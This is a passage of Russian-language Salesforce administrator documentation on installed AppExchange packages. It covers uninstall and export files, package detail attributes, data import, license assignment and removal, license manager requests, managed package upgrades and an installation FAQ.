• Пакет неможет быть удаленприобновлениифоновым заданиемполя, добавленногопосредствомпакета (например,
обновление поля сводного резюмирования). Дождитесь завершения фонового задания и повторите попытку.

• Файлы экспорта удаления содержат данные настраиваемого приложения для пакета, кроме некоторых компонентов
(например, документы и значения поля формулы).
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Управление установленными пакетами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для удаления пакетов:
• «Загрузка пакетов

AppExchange»

Для назначения лицензий
на управляемые пакеты:
• «Управление пакетными

лицензиями»

Для загрузки или удаления
файла экспорта из
удаленного пакета:
• «Загрузка пакетов

AppExchange»

Управляйте установленными пакетами в организации Salesforce, в частности, можно
назначать лицензии пользователям, удалять пакеты и экспортировать данные пакетов.

Прим.: Система Salesforceотображает толькосведенияолицензияхна управляемые
пакеты. Прииспользованиинеуправляемыхпакетовполя, связанныеслицензиями
(например, «Допустимые лицензии», «Использовано лицензий» и «Дата
истечения срока действия»), отображают значение «Недоступно».

Ниже перечислены действия, доступные в данном списке.

• Чтобы удалить пакет и все его компоненты из организации Salesforce, щелкните
ссылку «Удалить».

• Чтобы назначить доступные лицензии пользователям организации, щелкните
«Управлениелицензиями». В Lightning Experienceназначатьлицензиинельзя. Если
необходимо назначить лицензию, воспользуйтесь Salesforce Classic.

Прим.: При наличии лицензии на использование системы или отсутствии
лицензии на управляемый пакет система Salesforce назначает лицензии всем
пользователям, поэтому управление лицензиями недоступно. Пользователи
могутиспользоватьпакет толькоприналичиисоответствующихполномочий.

• Если издатель добавил ссылку на внешний веб-сайт, содержащий сведения о
настройке пакета, щелкните «Настроить».

• Чтобы просмотреть сведения о пакете, щелкните имя нужного пакета.

• Просмотрите издателя пакета.

• Просмотрите статус лицензий для данного пакета. Доступные значения:

– Пробная версия

– Активно

– Приостановлено

– Срок действия истек

– Бесплатно

Данное поле отображается только в том случае, если пакет является управляемым и лицензированным.

• Просмотрите количество доступных лицензий («Допустимые лицензии») и количество лицензий, назначенных
пользователям («Использовано лицензий»).

• Просмотрите дату истечения срока действия лицензий на данный пакет.

• Просмотрите дату установки лицензий.

• Просмотрите количество настраиваемых приложений, вкладок и объектов, доступных в данном пакете.

• Просмотрите, учитываются ли настраиваемые приложения, вкладки и объекты ограничениями организации. Они
учитываются при наличиифлажка в столбце «Ограничения».

Прим.: Поля «Издатель», «Статус», «Допустимые лицензии», «Использовано лицензий» и «Дата истечения
срока действия» отображаются только при установке лицензированного управляемого пакета.

После удаления пакета система Salesforce автоматически создает файл экспорта, содержащий данные пакета, а также
любые связанные примечания и вложения. Пользователь, выполнивший удаление, получает сообщение эл. почты
Salesforce, содержащее ссылкунафайлэкспорта, созданныйврезультате удаления. Файлэкспортаи связанныепримечания
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и вложения отображаются под списком установленных пакетов. Рекомендуем хранить файл в другой области, так как
доступкфайлублокируетсяпоистечениинекоторого временипосле установки. Нижеперечисленыдействия, доступные
в данном списке.

• Чтобы открыть или сохранить файл экспорта, щелкните ссылку «Загрузить».

• Чтобы удалить файл экспорта, щелкните ссылку «Удал.».

Просроченные управляемые пакеты и правила общего доступа
Если правило общего доступа на основе критериев ссылается на поле из управляемого пакета с просроченной
лицензией, к метке поля добавляется надпись (просрочено). Метка поля отображается в раскрывающемся поле на
страницеопределенияправилавменю «Настройка». Правилаобщегодоступанаосновекритериев, которыессылаются
на просроченныеполя, не подлежат перерасчету, а новые записине получают общего доступа под управлением этих
правил. Однако общий доступ к существующим записям до истечения срока действия пакета сохраняется.

СМ. ТАКЖЕ:

Просмотр сведений об установленном пакете

Импорт данных пакета

Просмотр сведений об установленном пакете

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для удаления пакетов:
• «Загрузка пакетов

AppExchange»

Для управления лицензиями
пользователя на пакет
AppExchange:
• «Управление пакетными

лицензиями»

В AppExchange можно просматривать сведения об установленном пакете, такие как
количествоиспользуемыхнастраиваемыхприложений, вкладокиобъектов. Кроме того,
можно назначить лицензии пользователям, удалить пакет или приобрести пакет.

Чтобы открыть страницу подробных сведений пакетов, введите строку «Установленные
пакеты» в поле «Быстрый поиск» в меню «Настройка», выберите пункт
«Установленные пакеты», а затем щелкните по имени пакета, который необходимо
просмотреть.

Ниже перечислены действия, доступные на данной странице.

• Чтобы удалить пакет и все его компоненты из организации Salesforce, щелкните
ссылку «Удалить».

• Чтобы назначить доступные лицензии пользователям организации, щелкните
«Управлениелицензиями». В Lightning Experienceназначатьлицензиинельзя. Если
необходимо назначить лицензию, воспользуйтесь Salesforce Classic.

Прим.: При наличии лицензии на использование системы или отсутствии
лицензии на управляемый пакет система Salesforce назначает лицензии всем
пользователям, поэтому управление лицензиями недоступно. Пользователи
могутиспользоватьпакет толькоприналичиисоответствующихполномочий.

• Чтобы просмотреть список компонентов, зависящих от других компонентов,
полномочий или параметров пакета, щелкните «Просмотр зависимостей».

Просмотр установленных пакетов
Нижеперечисленыатрибутыпакета, доступныена страницесведенийобустановленном
пакете.
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ОписаниеАтрибут

Отображается одно из двух значений:Действие

• Удалить

• Управление лицензиями

Общееколичестволицензий, приобретенныхдляданного
пакета. Приналичиилицензиинаиспользование системы

Допустимые лицензии

отображается значение «Не ограничено». Данное поле
отображается только в том случае, если пакет является
управляемым и лицензированным.

Количество настраиваемых приложений в пакете.Приложения

Список связанныхприложений, которымпредоставляется
доступ к данным пользователя в системе Salesforce после
проверки приложения и самого пользователя.

Связанные приложения

Подробное описание пакета.Описание

Дата истечения срока действия данной лицензии,
определяемая на основе текущих условий. Значение «Без

Дата истечения срока действия

срока действия» отображается для пакета, срок действия
которого не ограничен.Данное поле отображается только
в том случае, если пакет является управляемым и
лицензированным.

Дата установки пакета.Дата установки

Приналичииданногофлажканастраиваемыеприложения,
вкладки и объекты пакета учитываются ограничениями
организации.

Ограничения

Идентификатор, содержащий не более 15 символов и
отличающий пакет и его содержимое от пакетов других
разработчиков AppExchange.

Пространство имен

Количество настраиваемых объектов в пакете.Объекты

Имя пакета, заданное издателем.Имя пакета

Издатель списка AppExchange — это пользователь или
организация Salesforce, опубликовавшая список. Данное

Издатель

полеотображается тольков томслучае, еслипакет является
управляемым и лицензированным.

Состояние пакета. Доступные значения:Статус

• Пробная версия

• Активно

• Приостановлено

• Срок действия истек

• Бесплатно
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ОписаниеАтрибут

Данное поле отображается только в том случае, если пакет
является управляемым и лицензированным.

Количество настраиваемых вкладок в пакете.Вкладки

Общееколичестволицензий, назначенныхпользователям.
Данное поле отображается только в том случае, если пакет
является управляемым и лицензированным.

Использовано лицензий

Имя данной версии пакета. Имя версии — это
маркетинговое название конкретного выпуска пакета.

Имя версии

Данное поле является более описательным, чем поле
«Номер версии».

Просмотр сведений об установленном пакете
Ниже перечислены атрибуты пакета, доступные на странице сведений об установленном пакете.

ОписаниеАтрибут

Тип доступа, предоставляемого API и динамическому коду
Apex, которые добавляют компоненты в пакет. По

API-доступ

умолчанию данное поле содержит значение
«Неограниченный», то есть, всем компонентам пакета,
обращающимся к API, предоставляется уровень доступа
вошедшего пользователя. Чтобы изменить полномочия
доступа, предоставляемогоAPIидинамическому кодуApex,
щелкните «Включить ограничения» или «Отключить
ограничения».

Количество настраиваемых приложений в пакете.Приложения

Подробное описание пакета.Описание

Перваяверсияпакета, установленнаяворганизации. Данное
поле отображается только для управляемых пакетов. При

Номер первой установленной версии

необходимостипользователимогутобращатьсяк текущей
версии и любой последующей установленной версии
пакета. Чтобы уведомить издателя управляемого пакета об
ошибке, рекомендуем заполнить данное поле номером
версии.

Имя пользователя, установившего данный пакет в
организации.

Установил

Приналичииданногофлажканастраиваемыеприложения,
вкладки и объекты пакета учитываются ограничениями
организации.

Ограничения
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ОписаниеАтрибут

Имя пользователя, который последним изменил данный
пакет, а также дата и время изменения.

Изменено

Идентификатор, содержащий не более 15 символов и
отличающий пакет и его содержимое от пакетов других
разработчиков AppExchange.

Пространство имен

Количество настраиваемых объектов в пакете.Объекты

Имя пакета, заданное издателем.Имя пакета

Данный атрибут определяет управляемый или
неуправляемый пакет.

Тип пакета

Ссылка на сведения о настройке установленного пакета.
Чтобыразрешитьобновлениесведенийотдельноотпакета,

Инструкции по пост-установке

убедитесь, что данной ссылке соответствует внешний
URL-адрес.

Издатель списка AppExchange — это пользователь или
организация Salesforce, опубликовавшая список. Данное

Издатель

полеотображается тольков томслучае, еслипакет является
управляемым и лицензированным.

Ссылканапримечанияквыпускудляданногопакета. Чтобы
предоставить преждевременный доступ к сведениям и

Примечания к выпуску

разрешить их обновление отдельно от пакета, убедитесь,
что данной ссылке соответствует внешний URL-адрес.

Количество настраиваемых вкладок в пакете.Вкладки

Имя данной версии пакета. Имя версии — это
маркетинговое название конкретного выпуска пакета.

Имя версии

Данное поле является более описательным, чем поле
«Номер версии».

Номерпоследнейустановленнойверсиипакета. Дляномера
версии используется следующийформат:

Номер версии

основной_номер.дополнительный_номер.номер_исправления
(например, 2.1.3). Номер версии соответствует выпуску
пакета. Поле «Имя версии» являетсяболееописательным.
Компонент номер_исправления добавляется только при
создании исправления. В противном случае
номер_исправления считается нулевым.

Неиспользуемые компоненты
При необходимости просмотрите список компонентов, удаленных разработчиком в текущей версии пакета. Поле,
являющееся частью управляемого пакета, больше не используется и может быть удалено, при условии, что оно не
используется в настраиваемых интеграциях. Перед удалением настраиваемого поля можно сохранить данные через
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настройки, для этого введите строку «Экспорт данных» в поле «Быстрый поиск», затем выберите пункт «Экспорт
данных». Удаленный неиспользуемый компонент отображается в данном списке в течение 15 дней. В течение этого
срокаполеивсе егоданныемогутбытьвосстановленыилиудаленыбез возможностивосстановления. Некоторыесвойства
восстановленного поля могут быть потеряны или изменены. По истечении 15 дней поле и все его данные удаляются без
возможности восстановления.

Ниже перечислены отображаемые сведения о компоненте.

ОписаниеАтрибут

Отображается одно из двух значений:Действие

• Восстановить

• Удалить

Данный атрибут отображает имя компонента.Имя

Данный атрибут отображает имя родительского объекта,
связанного с компонентом. Например, настраиваемый
объект является родителем настраиваемого поля.

Родительский объект

Данный атрибут отображает тип компонента.Тип

Компоненты пакета
При необходимости просмотрите список компонентов, добавленных в установленный пакет. Ниже перечислены
отображаемые сведения о компоненте.

ОписаниеАтрибут

Отображается одно из двух значений:Действие

• Восстановить

• Удалить

Данный атрибут отображает имя компонента.Имя

Данный атрибут отображает имя родительского объекта,
связанного с компонентом. Например, настраиваемый
объект является родителем настраиваемого поля.

Родительский объект

Данный атрибут отображает тип компонента.Тип

СМ. ТАКЖЕ:

Импорт данных пакета

Управление установленными пакетами
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Импорт данных пакета

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для импорта данных пакета
Force.com AppExchange:
• Полномочия,

необходимые для
использования
выбранного
инструмента импорта
(например, мастера
импорта или
приложения Data
Loader).

ПриудалениипакетаAppExchangeсистемаSalesforceавтоматическисоздаетфайлэкспорта,
содержащий данные пакета, а также любые связанные примечания и вложения. При
повторной установке пакета эти данные могут быть импортированы.

ЧтобыимпортироватьданныепакетаAppExchange, воспользуйтесьоднимиздоступных
инструментов ниже.

• ПрииспользованииверсииGroup Edition воспользуйтесьсоответствующиммастером
импорта.

• При использовании версии Professional Edition воспользуйтесь соответствующим
мастером импорта или любым совместимым средством интеграции партнеров
Salesforce, являющихся независимыми поставщиками ПО.

• Прииспользованииверсии Enterprise Edition, Developer Edition, Performance Edition или
Unlimited Edition воспользуйтесь приложением Data Loader.

Примечания к импорту данных пакета AppExchange

• Система Salesforce преобразует экспортированные поля даты в поля даты/времени.
Преждечемвыполнитьимпорт, рекомендуемпреобразовать соответствующиеполя
в поля даты.

• Система Salesforce экспортирует все поля даты/времени по Гринвичу. Прежде чем
выполнить импорт, рекомендуем преобразовать данные поля в соответствующий
часовой пояс.

• Импортируемые значения полей типа «Автонумерация» могут отличаться. Чтобы
сохранить предыдущие значения, рекомендуем создать настраиваемое поле типа
«Автонумерация» перед импортом данных.

• Система Salesforce обновляет системные поля (например, «Дата создания» и «Дата
последнего изменения») вовремяимпорта. Чтобысохранитьпредыдущиезначения
данных полей, обратитесь в службу поддержки Salesforce.

• Взаимосвязи не добавляются в файл экспорта. Взаимосвязи «Основная—подробная» или «Поиск» должны быть
восстановлены после импорта данных.

• В отличие от кодов типа записи, имя типа записи не может быть экспортировано.

• Журнал поля не может быть экспортирован.

• Настройки пакета должны быть восстановлены после его установки.

СМ. ТАКЖЕ:

Просмотр сведений об установленном пакете

Управление установленными пакетами
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Управление лицензиями для установленных пакетов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управления лицензиями
на пакет AppExchange:
• «Управление пакетными

лицензиями»

При установке лицензированного управляемого пакета из каталога AppExchange
организация приобретает определенное количество лицензий у разработчика или
издателя пакета. Каждая лицензия может быть назначена пользователю организации.
Чтобы предоставить лицензии дополнительным пользователям при назначении всех
доступныхлицензий, рекомендуемпереназначитьтекущиеиликупитьдополнительные
лицензии. Чтобы получить дополнительные лицензии, обратитесь к издателю
управляемого пакета.

Прим.: При наличии лицензии на использование системы или отсутствии
лицензии на управляемый пакет система Salesforce назначает лицензии всем
пользователям, поэтому управлениелицензияминедоступно. Пользователимогут
использовать пакет только при наличии соответствующих полномочий.

1. Введите строку «Установленные пакеты» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Установленные пакеты».

2. Щелкните ссылку «Управление лицензиями» напротив нужного пакета.

Прим.: Лицензии на пакет могут назначаться только при наличии доступа к
пакету и как минимум одной доступной лицензии.

• Чтобы назначить лицензии дополнительным пользователям, щелкните
«Добавить пользователей».

• Чтобы удалить лицензию пользователя, щелкните ссылку «Удалить» напротив имени нужного пользователя.
Чтобы удалить лицензии нескольких пользователей, нажмите кнопку «Удалить несколько пользователей».

• Чтобыотсортироватьпользователейповозрастаниюнаосновесведений, указанныхвстолбце, щелкнитезаголовок
нужного столбца. Чтобы отсортировать записи по убыванию, щелкните заголовок нужного столбца еще раз.

• Чтобы показать или скрыть дополнительные записи, щелкните ссылку «больше» или «меньше».

СМ. ТАКЖЕ:

Назначение лицензий для управляемых пакетов

Назначение лицензий для установленных пакетов

Удаление лицензий для установленных пакетов

Отправка ответов на запросы менеджера лицензий
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Назначение лицензий для управляемых пакетов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
пользователей:
• «Управление

внутренними
пользователями»

Для управления лицензиями
на пакет AppExchange:
• «Управление пакетными

лицензиями»

При установке лицензированного управляемого пакета из каталога AppExchange
организация приобретает определенное количество лицензий у разработчика или
издателя пакета. Каждая лицензия может быть назначена пользователю организации.
Чтобы предоставить лицензии дополнительным пользователям при назначении всех
доступныхлицензий, рекомендуемпереназначитьтекущиеиликупитьдополнительные
лицензии. Чтобы получить дополнительные лицензии, обратитесь к издателю
управляемого пакета.

Связанныйсписок «Управляемыепакеты» настраницесведенийопользователесодержит
все управляемые пакеты, назначенные данному пользователю. Назначение лицензии
на управляемый пакет предоставляет пользователю доступ к данному пакету в системе
Salesforce.

Данный список не содержит неуправляемые пакеты, которым не могут быть назначены
лицензии.

Чтобыназначить пользователюлицензиюна одиниз доступных управляемыхпакетов,
выполните перечисленные ниже действия.

1. Введите строку «Пользователи» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Пользователи».

2. Нажмитекнопку«Назначитьлицензии»в связанномсписке «Управляемыепакеты».

3. Выберитенужныйпакет. Вседоступныеуправляемыепакетыотображаютсяв списке
«Неназначенныепакеты». Система Salesforce автоматическиперемещает выбранный
пакет в список «Выбранные пакеты».

Список «Неназначенныепакеты» содержитвсепакеты, которыемогутбытьдоступны
пользователюприназначениилицензии. Данныйсписокнесодержитнеуправляемые,
удаленные, используемые и недоступные пакеты.

• Чтобы просмотреть пакеты, имена которых начинаются с определенной буквы, щелкните нужную букву. Чтобы
просмотреть все доступные управляемые пакеты, щелкните ссылку «Все».

• Чтобы выбрать все пакеты, перечисленные в списке «Неназначенные пакеты» на текущей странице, и добавить
их в список «Выбранные пакеты» ниже, щелкните «выбрать перечисленное».

• Чтобы переместить пакеты из области «Выбранные пакеты» в область «Неназначенные пакеты», щелкните
«отменить выбор перечисленного» или «отменить выбор».

4. Нажмите кнопку «Добавить».

Чтобы отменить лицензию пользователя, щелкните ссылку «Удалить» напротив имени соответствующего пакета.

СМ. ТАКЖЕ:

Управление лицензиями для установленных пакетов
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Назначение лицензий для установленных пакетов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управления лицензиями
на приложение
AppExchange:
• «Управление пакетными

лицензиями»

Чтобыназначитьлицензиипользователям Force.com AppExchange, выполните указанные
ниже действия.

Прим.: При наличии лицензии на использование системы или отсутствии
лицензии на управляемый пакет система Salesforce назначает лицензии всем
пользователям, поэтому управлениелицензияминедоступно. Пользователимогут
использовать пакет только при наличии соответствующих полномочий.

1. Введите строку «Установленные пакеты» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Установленные пакеты», чтобы найти
установленные пакеты с доступными лицензиями.

2. Щелкните ссылку «Управление лицензиями» напротив имени нужного пакета.

3. Нажмите кнопку «Добавить пользователей».

4. Выберите нужное представление в раскрывающемся списке или щелкните ссылку
«Создать новое представление» для разработки собственного настраиваемого
представления.

5. Чтобы отфильтровать пользователей по начальной букве фамилии, щелкните
нужную букву. Чтобы просмотреть список всех пользователей, соответствующих
критерию текущего представления, щелкните «Все».

6. Выберите пользователей.

• Чтобы выбрать отдельных пользователей, воспользуйтесь флажками. Выбранные пользователи отображаются в
списке «Выбрано». Еслисписоксодержитвсехпользователей, которымдолжныбытьназначенылицензии, нажмите
кнопку «Добавить».

• Чтобы выбрать всех пользователей в текущем представлении, щелкните «Добавить всех пользователей» и
нажмите кнопку «OK».

Прим.: При необходимости добавьте отдельного пользователя посредством страницы сведений о пользователе.

СМ. ТАКЖЕ:

Управление лицензиями для установленных пакетов
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Удаление лицензий для установленных пакетов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управления лицензиями
на пакет AppExchange:
• «Управление пакетными

лицензиями»

ЧтобыудалитьлицензиинапакетAppExchangeдлянесколькихпользователей, выполните
указанные ниже действия.

1. Введите строку «Установленные пакеты» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Установленные пакеты».

2. Щелкните ссылку «Управление лицензиями» напротив имени нужного пакета.

3. Нажмите кнопку «Удалить несколько пользователей».

4. Чтобы просмотреть отфильтрованный список элементов, выберите нужное
представление в раскрывающемся списке «Просмотр» илищелкните ссылку
«Создать новое представление» для разработки собственных настраиваемых
представлений.

5. Чтобы отфильтровать пользователей по начальной букве фамилии, щелкните
нужную букву. Чтобы просмотреть список всех пользователей, соответствующих
критерию текущего представления, щелкните «Все».

6. Выберите пользователей.

• Чтобывыбратьотдельныхпользователей, воспользуйтесьфлажками. Выбранные
пользователи отображаются в списке «Выбрано для удаления». Если список
содержитвсехпользователей, лицензиикоторыхдолжныбыть удалены, нажмите
кнопку «Удалить».

• Чтобывыбратьвсехпользователейвтекущемпредставлении, щелкните«Удалитьвсехпользователей»инажмите
кнопку «OK».

Лицензии на пакет AppExchange могут быть также удалены указанными ниже способами.

1. Введите строку «Пользователи» вполе «Быстрый поиск» вменю «Настройка», затемвыберитепункт «Пользователи»
ищелкните «Удалить» напротив пакета в списке управляемых пакетов.

2. Введите строку «Установленные пакеты» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт
«Установленныепакеты». Затемщелкните«Управляемыелицензии»напротивименипакетаищелкните«Удалить»
напротив пользователя.

СМ. ТАКЖЕ:

Управление лицензиями для установленных пакетов
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Отправка ответов на запросы менеджера лицензий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Developer Edition.

Загрузки и установки
пакетов доступны в версиях:
Group Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для ответа на запросы:
• «Настройка

приложения»

Менеджерлицензий — этоорганизацияSalesforce, котораяотслеживаетвсехподписчиков
Salesforce, устанавливающих отдельный пакет AppExchange. При необходимости
администраторSalesforceможетназначитьменеджеромлицензийдругуюорганизацию.
Менеджером лицензий может быть назначена организация, которая не используется
для управления пакетом. Чтобы выбрать другую организацию, администратор должен
знать только адрес эл. почты (а не имя пользователя Salesforce). Если администратор
Salesforce выбирает стороннего менеджера лицензий и вводит адрес эл. почты текущего
пользователя, топользовательполучает электронныйзапроснауправлениелицензиями.

Чтобы ответить на запрос, выполните указанные ниже действия.

1. Щелкните ссылку в соответствующемэлектронномзапросе. Запроснарегистрацию
отображается в организации Developer Edition инициатора запроса.

2. Чтобы завершить регистрацию, нажмите кнопку «Принять». Чтобы отклонить
запроси закрыть обозреватель, нажмите кнопку «Отклонить». Вэтом случае ссылка
будет недоступна для повторного использования.

Прим.: Если запрос принят, разрешите системе Salesforce автоматическое
создание записейворганизации Salesforceдляотслеживаниясведенийоданном
пакете. Организация менеджера лицензий выбирается один раз и не может
быть изменена.

3. Введите имя пользователя и пароль для организации Salesforce, которая должна
использоватьсядля управлениялицензиямиданногопакета. Менеджеромлицензий
может быть назначена любая организация Salesforce, установившая бесплатное
приложение для управления лицензиями (LMA) из каталога Force.com AppExchange.

4. Нажмите кнопку «Подтвердить».

СМ. ТАКЖЕ:

Управление лицензиями для установленных пакетов
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Назначение лицензий посредством интерфейса API

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управления лицензиями
на приложение
AppExchange:
• «Управление пакетными

лицензиями»

Администраторымогутиспользоватьинтерфейс API дляназначенияилианнулирования
лицензий на любой управляемый пакет, установленный в организации. Сведения о
лицензии для пакета хранятся посредством двух объектов (PackageLicense и
UserPackageLicense), доступных ранее только на странице «Управление лицензиями»
меню «Настройка». Теперь данные объекты являются стандартными, поэтому
администраторы могут назначать лицензии отдельным пользователям посредством
вызовов API. Данный алгоритм позволяет ускорить и упростить процесс управления
пакетнымилицензиямиворганизацииподписчика (особенноприширокомасштабных
развертываниях).

Например, администраторустанавливаетприложение, котороедолжноиспользоваться
всеми 200 торговыми представителями компании. При назначении лицензии каждому
торговомупредставителюпосредствомпользовательскогоинтерфейса администратору
придется потратить много времени и сил. При использовании интерфейса API
администратор может назначить лицензии всем торговым представителям на основе
их профиля всего одним действием.

Ниже перечислены некоторые типовые задачи, которые могут выполняться
администраторами посредством интерфейса API.

• Определение используемого и доступного количества пакетных лицензий.

• Проверка отдельного пользователя на наличие пакетной лицензии.

• Просмотр списка всех пользователей, имеющих пакетную лицензию.

• Назначение пакетной лицензии пользователю или группе пользователей.

• Аннулирование пакетной лицензии, назначенной пользователю ранее.

Дополнительную информацию об объектах PackageLicense и UserPackageLicense и пример кода см. в документе Object
Reference for Salesforce and Force.com.
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Обновление пакетов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для загрузки пакетов:
• «Передача пакетов

AppExchange»

Для установки и удаления
пакетов:
• «Загрузка пакетов

AppExchange»

Система Salesforce позволяет обновлять только управляемые пакеты. Издатели могут
публиковатьобновлениядляуправляемыхпакетовиуведомлятьустановщиковоналичии
новойверсии. Затемобновлениеможетбыть установленоустановщикамиуправляемого
пакета.

1. Прежде чем установить обновление, убедитесь, что приложение установлено из
управляемого пакета. Найдите значок «Управляемый — установленный» на
страницах сведений о каждом компоненте и в списке установленных пакетов.

Обновления доступны только для приложений, установленных из управляемого
пакета.

2. Чтобыустановитьобновление, выполнитедействия, аналогичныеустановкелюбого
другогопакетаизкаталогаAppExchange. Приналичииссылкинановуюверсиюпакета
выберитеданнуюссылкуиустановитепакет ворганизации. Первая страницамастера
установки отображает текущую установленную версию, новую версию и список
дополнительных компонентов, добавленных в новую версию.

Примечания к обновлению управляемых пакетов
Ниже перечислены рекомендации по обновлению управляемого пакета.

• Все текущиенастраиваемыеобъекты, развернутыеранее, доступныбезограничений.
Система Salesforce напоминает о развертывании любых новых или неразвернутых
ранее настраиваемых объектов.

• Параметрыпрофиля для компонентов пакета могут быть изменены клиентом, ноне
могут быть обновленыразработчикомпакета. Еслиразработчикизменяетпараметрыпрофиляпосле выпускапакета,
тоданныеизменениянебудутдобавленывобновление. Клиентыдолжныбудутвручнуюобновитьпараметрыпрофиля
послеобновленияпакета. Обратите внимание, чтонаборыполномочийпакетамогутбытьобновленыразработчиком,
поэтому любыеизменения, внесенныеразработчиком, будут отображаться в организацииклиентапосле обновления
пакета.

• Универсальные обязательные настраиваемые поля, добавленные разработчиком, содержат стандартные значения.

• Есликомпонентдоступендляредактирования, нонедоступендляобновления, то соответствующиезначениясредства
перевода исключаются из обновлений.

• Если API-доступу установленного пакета задано значение «Ограниченный», то обновления устанавливаются только
в томслучае, еслиобновленная версияне содержитэлементов S-Control. Еслиобновленная версия содержитэлементы
S-Control, то API-доступу установленного пакета должно быть задано значение «Неограниченный».

• При обновлении пакета пропускаются любые изменения, внесенные в API-доступ, даже те, которые заданы
разработчиком. Данныйалгоритмобеспечиваетадминистраторуполныйконтрольнадустанавливаемымобновлением.
Установщики должны внимательнопроверять внесенные изменения во время установки каждого обновления пакета
и отмечать все допустимые изменения. После установки обновления любые допустимые пропущенные изменения
должны быть применены администратором вручную.
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Установка пакетов. Вопросы и ответы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

• Можно ли удалить пакеты, установленные из каталога AppExchange?

• Почему не удается удалить пакет?

• Кто может использовать каталог AppExchange?

• Почему не удается установить или обновить пакет?

• Можно ли настроить пакеты AppExchange?

• Кто может использовать пакеты AppExchange?

• Как обновить установленный пакет?

• Насколько безопасны устанавливаемые компоненты?

• Что происходит с префиксом пространства имен при установке пакета?

• Можно ли повторно установить удаленный пакет AppExchange?

• Учитываются ли настраиваемые объекты, вкладки и приложения из устанавливаемого пакета AppExchange
ограничениями моей версии Salesforce?

Можно ли удалить пакеты, установленные из каталога AppExchange?
Да. Все установленные пакеты отображаются на странице «Установленные пакеты». Чтобы удалить пакет, щелкните
ссылку «Удалить» напротив имени нужного пакета.

Почему не удается удалить пакет?
Система Salesforce препятствует удалению пакета, которое может нарушить алгоритм работы оставшихся компонентов.

Кто может использовать каталог AppExchange?
Просмотрипроверка списковAppExchange доступнылюбомупользователю. Администраторы Salesforceипользователи
с полномочием «Загрузка пакетов AppExchange» могут устанавливать приложения AppExchange. Чтобы опубликовать
приложениев каталогAppExchange, пользовательдолжениметьполномочия «СозданиепакетовAppExchange» и «Передача
пакетов AppExchange».

Почему не удается установить или обновить пакет?
Ниже перечислены возможные причины ошибок установки.

• Пакет содержитнастраиваемыеобъекты, которыемогутинициироватьпревышениеограничениядлянастраиваемых
объектов организации.

• Пакет содержит настраиваемые вкладки, которые могут инициировать превышение ограничения для настраиваемых
вкладок организации.

• Версия пакета, связанная с данным URL-адресом установки, является нерекомендуемой ввиду загрузки разработчиком
пакета более новой версии. Чтобы получить новый URL-адрес установки, обратитесь к издателю пакета.

• Пользователь пытается установить расширение к основному пакету, который не установлен.

• Пакет требует наличия определенных компонентов в организации или обязательных функций в текущей версии
системы.

• Пакет содержит код Apex, а текущий пользователь не может выполнять Apex в организации.
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• Устанавливаемый пакет содержит ошибку теста Apex.

Можно ли настроить пакеты AppExchange?
Да. Все пакеты доступны для настройки. Однако некоторые аспекты управляемых пакетов не могут быть изменены, так
как обеспечивают совместимость пакета с будущими версиями.

Список редактируемых компонентов управляемого пакета см. в Руководстве ISVforce.

Кто может использовать пакеты AppExchange?
Версии Enterprise Edition, Unlimited Edition, Performance Edition и Developer Edition позволяют выбирать профили, которым
должен быть доступен пакет, во время его установки. Версии Professional Edition и Group Edition предоставляют всем
пользователям профиля полный доступ к установленным пакетам. Независимо от текущей версии системы, всем
устанавливаемымнастраиваемымобъектамназначается режим «Вразработке», позволяющийскрывать объектыото всех
стандартных пользователей. Просмотр настраиваемых объектов, которым назначен режим «В разработке», доступен
только приналичииполномочия «Настройка приложения». Чтобыпредоставить другимпользователям доступ к пакету,
назначьте настраиваемому объекту статус «Развернуто».

Как обновить установленный пакет?
